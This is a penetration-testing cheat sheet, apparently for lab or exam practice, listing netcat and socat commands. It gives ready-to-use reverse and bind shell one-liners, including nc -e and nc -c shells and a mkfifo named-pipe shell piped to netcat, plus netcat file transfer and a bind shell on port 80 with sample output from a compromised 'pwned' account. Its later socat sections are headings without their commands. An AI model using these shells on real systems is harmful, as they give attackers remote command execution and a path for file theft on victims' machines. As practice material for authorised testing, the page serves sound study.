Network Tools

Netcat

nc 10.10.10.10 4444 -e /bin/ash

nc -c bash 10.10.10.11 5555
nc -c /bin/sh 10.10.10.11 5555

Netcat - Bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.187 4444 >/tmp/f

Netcat - File Transfer

$ nc -nlvp 4444 > incoming.exe
$ nc -nv 10.10.10.10 4444 < /usr/share/windows-resources/binaries/wget.exe

Socat

Using - allow keyboard to interactive the shell with remote host.

└─$ nc -lvp 80 -e /bin/bash                             
listening on [any] 80 ...

└─$ sudo socat - TCP4:127.0.0.1:80                     
id
uid=1000(pwned) gid=1000(pwned) groups=1000(pwned),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video)
whoami
pwned

Bind Port 80 and redirect standard output

Socat - File Transfer

Hosted file to share on socat

Connect and retrieved the file

Socat - Reverse Shell

Let start socat listener on port 80

Let connect to our reverse shell with execute /bin/bash

Socat Encrypted Bind Shells

Let generate SSL Certificate

Then, covert the certificate to the file that socat accept

Let create socat listener

Let connect to remote host for execute command

Last updated